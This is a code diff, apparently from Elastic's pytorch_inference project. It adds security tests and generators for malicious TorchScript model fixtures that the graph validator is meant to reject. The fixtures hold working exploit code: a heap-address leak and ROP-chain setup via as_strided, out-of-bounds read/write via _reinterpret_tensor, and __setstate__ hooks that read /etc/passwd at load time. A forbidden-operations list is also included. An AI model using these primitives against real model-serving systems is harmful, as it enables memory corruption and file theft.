Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + tmp: list[Tensor] = [] + heap_len = 200 + array_len = 0x900 + for i in range(heap_len): + tmp_values = [0xdead00000 + i] + [ + 0xdead00000 + j for j in range(2, array_len)] + tmp.append(torch.tensor(tmp_values)) + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xc878b50 + leak[index + 3] = int(heap_addr - 0x8) + for j in range(heap_len): + if tmp[j][2].item() == 0xDEAD00002 and i != j: + mprotect_got_addr = 0xc9785f0 + libtorch_cpu_addr + self.get_address_data( + leak, index + 3, tmp[j:j + 1], + int(mprotect_got_addr)) + del tmp[j] + assert 1 == 0, "exploit" + return torch.zeros(0) + for i in range(heap_len): + print(tmp[i].shape) + return torch.zeros(0) + + +# --- Generation logic --- + + +def _collect_setstate_ops(scripted: torch.jit.ScriptModule) -> set: + """Collect ops from every __setstate__ in the module tree. + + __setstate__ runs during torch::jit::load(), so ops here execute before + (and are invisible to) the forward-graph validator. Surfacing them makes + the load-time attack fixtures self-documenting. + """ + ops: set = set() + for submodule in scripted.modules(): + try: + graph = submodule._c._get_method("__setstate__").graph + except (RuntimeError, AttributeError): + continue + ops.update(node.kind() for node in graph.nodes()) + return ops + + +MODELS = { + "malicious_file_reader.pt": FileReaderModel, + "malicious_mixed_file_reader.pt": MixedFileReaderModel, + "malicious_hidden_in_submodule.pt": HiddenInSubmodule, + "malicious_conditional.pt": ConditionalMalicious, + "malicious_many_unrecognised.pt": ManyUnrecognisedOps, + "malicious_file_reader_in_submodule.pt": FileReaderInSubmodule, + "malicious_reinterpret_tensor_oob_read.pt": ReinterpretTensorOobRead, + "malicious_reinterpret_tensor_oob_write.pt": ReinterpretTensorOobWrite, + "malicious_setstate_file_reader.pt": SetStateFileReaderModel, + "malicious_setstate_file_reader_in_submodule.pt": SetStateFileReaderInSubmodule, + "malicious_heap_leak.pt": HeapLeakModel, + "malicious_rop_exploit.pt": RopExploitModel, +} + + +def generate(output_dir: Path): + output_dir.mkdir(parents=True, exist_ok=True) + succeeded = [] + failed = [] + + for filename, cls in MODELS.items(): + print(f" {filename}...", end=" ") + try: + model = cls() + model.eval() + scripted = torch.jit.script(model) + path = output_dir / filename + torch.jit.save(scripted, str(path)) + size = path.stat().st_size + print(f"OK ({size} bytes)") + + # Show ops for verification + graph = scripted.forward.graph.copy() + torch._C._jit_pass_inline(graph) + ops = sorted(set(n.kind() for n in graph.nodes())) + print(f" forward ops: {ops}") + + # Surface ops hidden in __setstate__ (executed at load time). + setstate_ops = _collect_setstate_ops(scripted) + if setstate_ops: + print(f" __setstate__ ops (run at load): {sorted(setstate_ops)}") + + succeeded.append(filename) + except Exception as exc: + print(f"FAILED: {exc}") + failed.append((filename, str(exc))) + + print(f"\nGenerated {len(succeeded)}/{len(MODELS)} models") + if failed: + print("Failed:") + for name, err in failed: + print(f" {name}: {err}") + return len(failed) == 0 + + +if __name__ == "__main__": + out_dir = (Path(sys.argv[1]) if len(sys.argv) > 1 + else Path(__file__).resolve().parent.parent + / "bin" / "pytorch_inference" / "unittest" / "testfiles" / "malicious_models") + print(f"Generating malicious model fixtures in {out_dir}") + success = generate(out_dir) + sys.exit(0 if success else 1) diff --git a/docs/changelog/3130.yaml b/docs/changelog/3130.yaml new file mode 100644 index 0000000000..5887cbe491 --- /dev/null +++ b/docs/changelog/3130.yaml @@ -0,0 +1,5 @@ +area: Machine Learning +issues: [] +pr: 3130 +summary: Port `TorchScript` graph validation and __setstate__ hardening to 8.19 +type: bug diff --git a/test/CMakeLists.txt b/test/CMakeLists.txt index 1877e64b5e..79c17eeda0 100644 --- a/test/CMakeLists.txt +++ b/test/CMakeLists.txt @@ -36,3 +36,17 @@ add_custom_target(test COMMAND ${CMAKE_COMMAND} -DTEST_DIR=${CMAKE_BINARY_DIR} -P ${CMAKE_SOURCE_DIR}/cmake/test-check-success.cmake WORKING_DIRECTORY ${CMAKE_SOURCE_DIR} ) + +# Standalone target for the pytorch_inference allowlist validation. +# Creates a Python venv and may download HuggingFace models; kept separate +# from the default test target. See dev-tools/extract_model_ops/README.md. +add_custom_target(validate_pytorch_inference_models + COMMAND ${CMAKE_COMMAND} + -DSOURCE_DIR=${CMAKE_SOURCE_DIR} + -DVALIDATE_CONFIG=${CMAKE_SOURCE_DIR}/dev-tools/extract_model_ops/validation_models.json + -DVALIDATE_PT_DIR=${CMAKE_SOURCE_DIR}/dev-tools/extract_model_ops/es_it_models + -DVALIDATE_VERBOSE=TRUE + -P ${CMAKE_SOURCE_DIR}/cmake/run-validation.cmake + COMMENT "Validating pytorch_inference allowlist against HuggingFace models and ES integration test models" + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR} +) diff --git a/test/test_pytorch_inference_evil_models.py b/test/test_pytorch_inference_evil_models.py new file mode 100644 index 0000000000..7830cbf964 --- /dev/null +++ b/test/test_pytorch_inference_evil_models.py @@ -0,0 +1,582 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +"""Integration test: verify pytorch_inference rejects sandbox2 attack models. + +Generates the evil TorchScript models from PR #2873 and feeds them to the +pytorch_inference binary to confirm the CModelGraphValidator rejects them +at load time before any tensor code executes. + +Usage: + python3 test_pytorch_inference_evil_models.py [--binary PATH] + + --binary PATH Explicit path to the pytorch_inference binary. + If omitted, the script searches standard build locations. + +Requires: torch, and a built pytorch_inference binary from this repository + with graph validation enabled (i.e., including the + CModelGraphValidator checks). +""" + +import argparse +import os +import platform +import shutil +import subprocess +import sys +import tempfile +from pathlib import Path + +import torch +from torch import Tensor +from typing import Tuple + + +# --------------------------------------------------------------------------- +# Evil model definitions (from PR #2873 sandbox2 attack tests) +# --------------------------------------------------------------------------- + + +class SimpleBenignModel(torch.nn.Module): + """Positive control — uses only allowlisted ops (add, unsqueeze).""" + def forward(self, a: Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + return (a + b + c + d).unsqueeze(0) + + +class LeakModel(torch.nn.Module): + """Heap-address leak via torch.as_strided with a malicious storage offset.""" + def find_heap_overlap(self, tensors: Tensor) -> tuple[list[int], Tensor]: + evil_length = 0x900 * 8 + leak = torch.as_strided( + tensors, [evil_length], [1], 2305843009213693952 - evil_length + ) + index: list[int] = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if ( + leak[i + 3].item() == leak[i + 5].item() + and leak[i + 3].item() >> 40 == 127 + ): + if ( + leak[i + 2].item() >= 0x100000000 + and leak[i + 2].item() <= 0x100000005 + ): + index.append(i) + return (index, leak) + + def forward(self, a: Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + tmp: list[Tensor] = [] + heap_len = 200 + array_len = 0x900 + for i in range(heap_len): + tmp_values = [0xDEAD00000 + i] + [ + 0xDEAD00000 + j for j in range(2, array_len) + ] + tmp.append(torch.tensor(tmp_values)) + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xC878B50 + assert 1 == 0, ( + "Input tensor must have at least one element: " + + hex(libtorch_cpu_addr) + ) + for i in range(heap_len): + print(tmp[i].shape) + return torch.zeros(0) + + +class ExploitModel(torch.nn.Module): + """ROP-chain exploit: mprotect + shellcode to write files.""" + def find_heap_overlap(self, tensors: Tensor) -> tuple[list[int], Tensor]: + evil_length = 0x900 * 8 + leak = torch.as_strided( + tensors, [evil_length], [1], 2305843009213693952 - evil_length + ) + index: list[int] = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if ( + leak[i + 3].item() == leak[i + 5].item() + and leak[i + 3].item() >> 40 == 127 + ): + if ( + leak[i + 2].item() >= 0x100000000 + and leak[i + 2].item() <= 0x100000005 + ): + index.append(i) + return (index, leak) + + def get_address_data( + self, leak: Tensor, index: int, tmp: list[Tensor], target_addr: int + ) -> int: + leak[index] = target_addr + return int(tmp[0].item()) + + def forward(self, a: Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + tmp: list[Tensor] = [] + heap_len = 200 + array_len = 0x900 + for i in range(heap_len): + tmp_values = [0xDEAD00000 + i] + [ + 0xDEAD00000 + j for j in range(2, array_len) + ] + tmp.append(torch.tensor(tmp_values)) + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xC878B50 + leak[index + 3] = int(heap_addr - 0x8) + for j in range(heap_len): + if tmp[j][2].item() == 0xDEAD00002 and i != j: + mprotect_got_addr = 0xC9785F0 + libtorch_cpu_addr + self.get_address_data( + leak, index + 3, tmp[j : j + 1], int(mprotect_got_addr) + ) + del tmp[j] + assert 1 == 0, "Input tensor must have at least one element: " + return torch.zeros(0) + for i in range(heap_len): + print(tmp[i].shape) + return torch.zeros(0) + + +# --------------------------------------------------------------------------- +# Load-time execution models (__setstate__) +# --------------------------------------------------------------------------- +# +# TorchScript runs a module's __setstate__ during torch::jit::load(), before the +# loaded Module reaches CModelGraphValidator (which only walks the forward +# graph). A forbidden op in __setstate__ is therefore invisible to the current +# validator AND has already executed by load time. Pre-fix, feeding these models +# to the binary crashes/errors at load with no validator rejection message +# (INCONCLUSIVE below). Once a pre-load static scan is added, they must be +# cleanly REJECTED like the forward-graph attacks. + + +class SetStateFileReaderModel(torch.nn.Module): + """aten::from_file hidden in __setstate__; forward() is benign.""" + def __init__(self) -> None: + super().__init__() + self.w = torch.zeros(1) + + @torch.jit.export + def __getstate__(self) -> Tuple[Tensor, bool]: + return (self.w, self.training) + + @torch.jit.export + def __setstate__(self, state: Tuple[Tensor, bool]) -> None: + leaked = torch.from_file("/etc/passwd", size=100) + self.w = state[0] + leaked[0] + self.training = state[1] + + def forward(self, x: Tensor) -> Tensor: + return x + self.w + + +class _SetStateFileReaderChild(torch.nn.Module): + def __init__(self) -> None: + super().__init__() + self.w = torch.zeros(1) + + @torch.jit.export + def __getstate__(self) -> Tuple[Tensor, bool]: + return (self.w, self.training) + + @torch.jit.export + def __setstate__(self, state: Tuple[Tensor, bool]) -> None: + leaked = torch.from_file("/tmp/secret", size=10) + self.w = state[0] + leaked[0] + self.training = state[1] + + def forward(self, x: Tensor) -> Tensor: + return x + self.w + + +class SetStateFileReaderInSubmodule(torch.nn.Module): + """Load-time aten::from_file hidden in a submodule's __setstate__.""" + def __init__(self) -> None: + super().__init__() + self.child = _SetStateFileReaderChild() + + def forward(self, x: Tensor) -> Tensor: + return x + self.child(x) + + +class ReinterpretTensorOobRead(torch.nn.Module): + """OOB heap read via inductor::_reinterpret_tensor (privately reported).""" + def forward(self, a: Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + tmp = torch.tensor([1, 2, 3, 4, 5, 6, 7, 8]) + out: list[str] = [""] + for i in range(1, 1000): + target = torch.ops.inductor._reinterpret_tensor(tmp, [1], [1], i) + out.append(hex(target.item())) + assert 1 == 2, out + return tmp + + +class ReinterpretTensorOobWrite(torch.nn.Module): + """OOB heap write via inductor::_reinterpret_tensor + fill_.""" + def forward(self, a: Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + tmp = torch.tensor([1, 2, 3, 4, 5, 6, 7, 8]) + acc = torch.zeros(1) + for i in range(1, 100): + target = torch.ops.inductor._reinterpret_tensor(tmp, [1], [1], i) + target.fill_(0) + acc = acc + target + return acc + + +# --------------------------------------------------------------------------- +# Binary discovery +# --------------------------------------------------------------------------- + + +def find_pytorch_inference() -> str: + """Locate the pytorch_inference binary in standard build locations.""" + project_root = Path(__file__).resolve().parent.parent + + machine = platform.machine() + if machine in ("arm64", "aarch64"): + darwin_arch = "darwin-aarch64" + linux_arch = "linux-aarch64" + else: + darwin_arch = "darwin-x86_64" + linux_arch = "linux-x86_64" + + candidates = [ + # macOS distribution bundle + project_root + / "build" + / "distribution" + / "platform" + / darwin_arch + / "controller.app" + / "Contents" + / "MacOS" + / "pytorch_inference", + # Linux distribution + project_root + / "build" + / "distribution" + / "platform" + / linux_arch + / "bin" + / "pytorch_inference", + # CMake build directories + project_root + / "cmake-build-relwithdebinfo" + / "bin" + / "pytorch_inference" + / "pytorch_inference", + project_root + / "cmake-build-debug" + / "bin" + / "pytorch_inference" + / "pytorch_inference", + project_root + / "cmake-build-release" + / "bin" + / "pytorch_inference" + / "pytorch_inference", + ] + + for path in candidates: + if path.is_file() and os.access(path, os.X_OK): + return str(path) + + raise FileNotFoundError( + "Could not find pytorch_inference binary. " + "Build the project with graph validation enabled, or pass --binary." + ) + + +# --------------------------------------------------------------------------- +# Model generation +# --------------------------------------------------------------------------- + +MODELS = { + "benign": { + "class": SimpleBenignModel, + "expect_rejected": False, + "description": "positive control — only allowlisted ops", + }, + "leak": { + "class": LeakModel, + "expect_rejected": True, + "description": "heap-address leak via aten::as_strided", + "expect_stderr_contains": "Unrecognised operations", + }, + "exploit": { + "class": ExploitModel, + "expect_rejected": True, + "description": "ROP-chain file-write via aten::as_strided", + "expect_stderr_contains": "Unrecognised operations", + }, + "setstate_file_reader": { + "class": SetStateFileReaderModel, + "expect_rejected": True, + "description": "aten::from_file in __setstate__ (runs at load time)", + # Any custom state hook is refused pre-load, before torch::jit::load. + "expect_stderr_contains": "custom state hooks", + }, + "setstate_file_reader_submodule": { + "class": SetStateFileReaderInSubmodule, + "expect_rejected": True, + "description": "aten::from_file in a submodule's __setstate__", + "expect_stderr_contains": "custom state hooks", + }, + "reinterpret_oob_read": { + "class": ReinterpretTensorOobRead, + "expect_rejected": True, + "description": "OOB read via inductor::_reinterpret_tensor", + "expect_stderr_contains": "forbidden operations", + }, + "reinterpret_oob_write": { + "class": ReinterpretTensorOobWrite, + "expect_rejected": True, + "description": "OOB write via inductor::_reinterpret_tensor", + "expect_stderr_contains": "forbidden operations", + }, +} + + +def generate_model(cls, path: Path) -> None: + model = cls() + scripted = torch.jit.script(model) + torch.jit.save(scripted, str(path)) + + +# --------------------------------------------------------------------------- +# Test execution +# --------------------------------------------------------------------------- + + +def prepare_restore_file(model_path: Path, restore_path: Path) -> None: + """Wrap a .pt file with the 4-byte big-endian size header that + CBufferedIStreamAdapter expects (matching how Elasticsearch sends models).""" + import struct + + model_bytes = model_path.read_bytes() + with open(restore_path, "wb") as f: + f.write(struct.pack("!I", len(model_bytes))) + f.write(model_bytes) + + +def run_pytorch_inference(binary: str, model_path: Path, tmp_dir: Path, + timeout: int = 30, extra_args: list | None = None) -> tuple[int, str, str]: + """Run pytorch_inference against a model file. + + Returns (exit_code, stdout, stderr). + """ + restore_file = tmp_dir / f"{model_path.stem}_restore.bin" + prepare_restore_file(model_path, restore_file) + + cmd = [ + binary, + f"--restore={restore_file}", + "--validElasticLicenseKeyConfirmed=true", + ] + if extra_args: + cmd.extend(extra_args) + proc = subprocess.run( + cmd, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + timeout=timeout, + ) + return proc.returncode, proc.stdout.decode("utf-8", errors="replace"), proc.stderr.decode("utf-8", errors="replace") + + +def run_tests(binary: str) -> bool: + print("=" * 72) + print("Integration Test: pytorch_inference vs sandbox2 attack models") + print("=" * 72) + print(f"Binary: {binary}") + print() + + tmp_dir = Path(tempfile.mkdtemp(prefix="pt_infer_evil_test_")) + all_passed = True + validation_rejection_phrases = [ + "Model contains forbidden operations:", + "Unrecognised operations:", + "graph validation failed", + "graph is too large:", + # Older main-branch validator message + "contains forbidden operation:", + ] + + try: + for name, spec in MODELS.items(): + model_path = tmp_dir / f"model_{name}.pt" + expect_rejected = spec["expect_rejected"] + + print(f"--- {name}: {spec['description']} ---") + + try: + generate_model(spec["class"], model_path) + print(f" Model generated: {model_path.name} ({model_path.stat().st_size} bytes)") + except Exception as e: + print(f" FAIL: could not generate model: {e}") + all_passed = False + print() + continue + + try: + exit_code, stdout, stderr = run_pytorch_inference(binary, model_path, tmp_dir) + except subprocess.TimeoutExpired: + print(f" FAIL: pytorch_inference timed out (30s)") + all_passed = False + print() + continue + except Exception as e: + print(f" ERROR running pytorch_inference: {e}") + all_passed = False + print() + continue + + print(f" Exit code: {exit_code}") + if stderr.strip(): + # Show last few lines of stderr (log output can be verbose) + stderr_lines = stderr.strip().splitlines() + display_lines = stderr_lines[-10:] if len(stderr_lines) > 10 else stderr_lines + print(f" Stderr ({len(stderr_lines)} lines, showing last {len(display_lines)}):") + for line in display_lines: + print(f" {line}") + + was_rejected_by_validator = any(p in stderr for p in validation_rejection_phrases) + + if expect_rejected: + if was_rejected_by_validator: + print(f" Result: REJECTED by graph validator (as expected)") + expect_msg = spec.get("expect_stderr_contains") + if expect_msg and expect_msg in stderr: + print(f" Reason check: found '{expect_msg}' in stderr") + print(f" Test: OK") + elif exit_code != 0: + print(f" Result: process exited with code {exit_code} but no validator rejection detected") + print(f" WARNING: the binary may not include the full graph validation yet") + print(f" Test: INCONCLUSIVE (not counted as failure)") + else: + print(f" Result: ACCEPTED (exit 0, no validator rejection)") + print(f" Test: FAIL — evil model was not rejected") + all_passed = False + else: + if was_rejected_by_validator: + print(f" Result: REJECTED by validator — benign model should have passed") + print(f" Test: FAIL") + all_passed = False + else: + print(f" Result: no validation errors (exit code {exit_code})") + print(f" Test: OK") + + print() + + # --- Kill switch test --- + # Verify --skipModelValidation bypasses the graph validator. + # Use the leak model (which is normally rejected) and confirm it is + # accepted when the flag is set. + print("--- kill_switch: --skipModelValidation bypasses validation ---") + leak_path = tmp_dir / "model_leak.pt" + if leak_path.exists(): + try: + exit_code, stdout, stderr = run_pytorch_inference( + binary, leak_path, tmp_dir, + extra_args=["--skipModelValidation"]) + except subprocess.TimeoutExpired: + exit_code, stderr = -1, "" + + skip_msg = "Model graph validation SKIPPED" + if skip_msg in stderr: + print(f" Result: validation skipped (kill switch active)") + print(f" Test: OK") + else: + print(f" Result: kill switch did not take effect") + print(f" Exit code: {exit_code}") + stderr_lines = stderr.strip().splitlines()[-5:] + for line in stderr_lines: + print(f" {line}") + print(f" Test: FAIL") + all_passed = False + + # Also verify without the flag, validation still runs + print() + print("--- kill_switch_absent: without flag, validation still active ---") + try: + exit_code, stdout, stderr = run_pytorch_inference( + binary, leak_path, tmp_dir) + except subprocess.TimeoutExpired: + exit_code, stderr = -1, "" + + was_rejected = any(p in stderr for p in validation_rejection_phrases) + if was_rejected: + print(f" Result: model rejected (validation still active)") + print(f" Test: OK") + else: + print(f" Result: validation was not active without flag") + print(f" Test: FAIL") + all_passed = False + else: + print(" SKIP: leak model not generated") + + print() + + finally: + shutil.rmtree(tmp_dir, ignore_errors=True) + + print("=" * 72) + if all_passed: + print("ALL TESTS PASSED") + else: + print("SOME TESTS FAILED — see above for details.") + print("=" * 72) + + return all_passed + + +def main(): + parser = argparse.ArgumentParser( + description="Integration test: pytorch_inference vs evil models" + ) + parser.add_argument( + "--binary", + default=None, + help="Path to pytorch_inference binary (auto-detected if omitted)", + ) + args = parser.parse_args() + + binary = args.binary + if binary is None: + try: + binary = find_pytorch_inference() + except FileNotFoundError as e: + print(f"ERROR: {e}", file=sys.stderr) + sys.exit(1) + + if not os.path.isfile(binary) or not os.access(binary, os.X_OK): + print(f"ERROR: {binary} is not an executable file", file=sys.stderr) + sys.exit(1) + + success = run_tests(binary) + sys.exit(0 if success else 1) + + +if __name__ == "__main__": + main() diff --git a/test/test_setstate_load_timing.py b/test/test_setstate_load_timing.py new file mode 100644 index 0000000000..a2e6daeca8 --- /dev/null +++ b/test/test_setstate_load_timing.py @@ -0,0 +1,227 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +"""Reproduce the __setstate__ load-time execution gap in model validation. + +TorchScript serialises a module's __setstate__ method and executes it *during* +torch::jit::load(). CModelGraphValidator, however, only inspects the (inlined) +forward graph of an already-loaded module. A forbidden operation hidden in +__setstate__ is therefore: + + 1. invisible to the validator (it never appears in the forward graph), and + 2. already executed by the time the validator would run (load happens first). + +This is the timing gap raised in security review: a malicious model can read +files / crash the process at load time, before any graph check. This test +demonstrates both facts *without needing a built binary* and only depends on +torch, so it can run in CI as a guard. + +It is deliberately safe: the load-time execution proof uses a benign probe +whose __setstate__ merely print()s a marker. The forbidden-op proofs use +static graph inspection on the saved archive and never load an attack model. + +Usage: + python3 test_setstate_load_timing.py +""" + +import subprocess +import sys +import tempfile +from pathlib import Path +from typing import Tuple + +import torch +from torch import Tensor + + +# Mirror of CSupportedOperations::FORBIDDEN_OPERATIONS (subset relevant here). +FORBIDDEN_OPERATIONS = { + "aten::from_file", + "aten::save", + "aten::as_strided", +} + +_LOAD_MARKER = "SETSTATE_EXECUTED_DURING_LOAD" + + +class BenignSetStateProbe(torch.nn.Module): + """Harmless probe: __setstate__ only print()s a marker (TorchScript-safe). + + Used to prove — without running any dangerous op — that __setstate__ code + executes during torch.jit.load(). + """ + def __init__(self) -> None: + super().__init__() + self.w = torch.zeros(1) + + @torch.jit.export + def __getstate__(self) -> Tuple[Tensor, bool]: + return (self.w, self.training) + + @torch.jit.export + def __setstate__(self, state: Tuple[Tensor, bool]) -> None: + self.w = state[0] + self.training = state[1] + # Literal must be inlined: TorchScript cannot close over globals. + print("SETSTATE_EXECUTED_DURING_LOAD") + + def forward(self, x: Tensor) -> Tensor: + return x + self.w + + +class SetStateFileReaderModel(torch.nn.Module): + """aten::from_file hidden in __setstate__; forward() is benign. + + This is the attack shape: the forbidden op runs at load time and never + appears in the forward graph the validator inspects. We only ever inspect + this model statically (never load it), so no file is read here. + """ + def __init__(self) -> None: + super().__init__() + self.w = torch.zeros(1) + + @torch.jit.export + def __getstate__(self) -> Tuple[Tensor, bool]: + return (self.w, self.training) + + @torch.jit.export + def __setstate__(self, state: Tuple[Tensor, bool]) -> None: + leaked = torch.from_file("/etc/passwd", size=100) + self.w = state[0] + leaked[0] + self.training = state[1] + + def forward(self, x: Tensor) -> Tensor: + return x + self.w + + +def _forward_ops(scripted: torch.jit.ScriptModule) -> set: + graph = scripted.forward.graph.copy() + torch._C._jit_pass_inline(graph) + return {node.kind() for node in graph.nodes()} + + +def _setstate_ops(scripted: torch.jit.ScriptModule) -> set: + ops: set = set() + for submodule in scripted.modules(): + try: + graph = submodule._c._get_method("__setstate__").graph + except (RuntimeError, AttributeError): + continue + ops.update(node.kind() for node in graph.nodes()) + return ops + + +def test_setstate_executes_during_load() -> bool: + """Prove that __setstate__ code runs during torch.jit.load().""" + print("--- 1. __setstate__ executes during load (benign probe) ---") + ok = True + with tempfile.TemporaryDirectory(prefix="setstate_timing_") as tmp: + path = Path(tmp) / "probe.pt" + scripted = torch.jit.script(BenignSetStateProbe()) + torch.jit.save(scripted, str(path)) + + # Load in a fresh subprocess; capture what is printed *during* load. + loader = ( + "import torch;" + f"torch.jit.load(r'{path}');" + "print('LOAD_RETURNED')" + ) + proc = subprocess.run( + [sys.executable, "-c", loader], + capture_output=True, text=True, timeout=120, + ) + stdout = proc.stdout + + # The benign probe must load *cleanly*: require a zero exit and that + # load() actually returned (LOAD_RETURNED). Otherwise a crash that + # happened to print the marker first would be a false positive — so we + # only accept the marker as proof when the whole load completed and the + # marker was printed strictly before load() returned. + loaded_cleanly = proc.returncode == 0 and "LOAD_RETURNED" in stdout + marker_before_return = ( + loaded_cleanly + and _LOAD_MARKER in stdout + and stdout.index(_LOAD_MARKER) < stdout.index("LOAD_RETURNED") + ) + + if marker_before_return: + print(f" OK: '{_LOAD_MARKER}' printed during load — " + "code ran before load() returned (and before validation).") + else: + print(" FAIL: marker not observed during a clean load.") + print(f" returncode: {proc.returncode}") + print(f" stdout: {stdout!r}") + if proc.stderr.strip(): + tail = "\n".join(proc.stderr.strip().splitlines()[-5:]) + print(f" stderr (tail):\n{tail}") + ok = False + print() + return ok + + +def test_forbidden_op_hidden_from_forward_graph() -> bool: + """The validator inspects only forward; the forbidden op lives in setstate.""" + print("--- 2. forbidden op is invisible to the forward-graph validator ---") + ok = True + scripted = torch.jit.script(SetStateFileReaderModel().eval()) + + forward = _forward_ops(scripted) + setstate = _setstate_ops(scripted) + + forward_forbidden = forward & FORBIDDEN_OPERATIONS + setstate_forbidden = setstate & FORBIDDEN_OPERATIONS + + print(f" forward ops : {sorted(forward)}") + print(f" __setstate__ ops: {sorted(setstate)}") + + if forward_forbidden: + print(f" FAIL: forbidden op unexpectedly in forward: {sorted(forward_forbidden)}") + ok = False + else: + print(" OK: forward graph contains no forbidden op — " + "the current validator would ACCEPT this model.") + + if "aten::from_file" in setstate_forbidden: + print(" OK: aten::from_file present in __setstate__ — " + "a correct pre-load scan must catch this.") + else: + print(" FAIL: aten::from_file not found in __setstate__ (fixture broken).") + ok = False + print() + return ok + + +def run_tests() -> bool: + print("=" * 72) + print("Repro: __setstate__ load-time execution gap (security review)") + print("=" * 72) + print(f"torch version: {torch.__version__}") + print() + + results = [ + test_setstate_executes_during_load(), + test_forbidden_op_hidden_from_forward_graph(), + ] + + all_passed = all(results) + print("=" * 72) + if all_passed: + print("ALL CHECKS PASSED — the load-time gap is reproduced and documented.") + print("A fix must refuse archives containing __setstate__/__getstate__") + print("BEFORE torch::jit::load() is called.") + else: + print("SOME CHECKS FAILED — see above.") + print("=" * 72) + return all_passed + + +if __name__ == "__main__": + sys.exit(0 if run_tests() else 1)